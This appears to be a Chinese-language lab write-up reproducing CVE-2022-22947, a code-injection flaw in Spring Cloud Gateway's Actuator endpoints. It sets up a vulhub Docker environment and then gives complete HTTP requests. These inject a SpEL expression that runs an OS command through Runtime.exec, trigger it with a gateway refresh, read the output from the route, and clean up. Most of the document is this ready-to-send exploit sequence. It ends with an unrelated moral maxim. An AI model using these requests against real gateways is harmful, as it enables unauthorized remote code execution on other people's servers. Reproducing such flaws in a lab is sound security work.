spring_cloud_rce(CVE-2022-22947)漏洞复现

漏洞简介

Spring Cloud Gateway 提供了一个库，用于在 Spring WebFlux 之上构建 API 网关。

在 3.1.0 和 3.0.6 之前的版本中使用 Spring Cloud Gateway 的应用程序在启用、暴露和不安全的 Gateway Actuator 端点时容易受到代码注入攻击。远程攻击者可以发出恶意制作的请求，允许在远程主机上进行任意远程执行。

影响版本

Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway 其他已不再更新的版本

环境搭建

更新vulhub

git pull

执行以下命令启动使用 Spring Cloud Gateway 3.1.0 的服务器

docker-compose up -d

漏洞复现

1.发送以下请求以添加包含恶意 SpEL 表达式的路由器

POST /actuator/gateway/routes/3tefanie HTTP/1.1
Host: your_ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "3tefanie",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

2.刷新网关，SpEL 表达式将在此时执行

POST /actuator/gateway/refresh HTTP/1.1
Host: your_ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

3.发送以下请求查看执行结果

GET /actuator/gateway/routes/3tefanie HTTP/1.1
Host: your_ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

4.发送一个 DELETE 请求来删除我们的恶意路由、

DELETE /actuator/gateway/routes/3tefanie HTTP/1.1
Host: your_ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

5.刷新网关

POST /actuator/gateway/refresh HTTP/1.1
Host: your_ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

【自己觉得不好的事情，就干脆不要有第一次，一次也不要做，一小步也不能走出去，要不然回头来看，吃亏吃苦的还是自己。】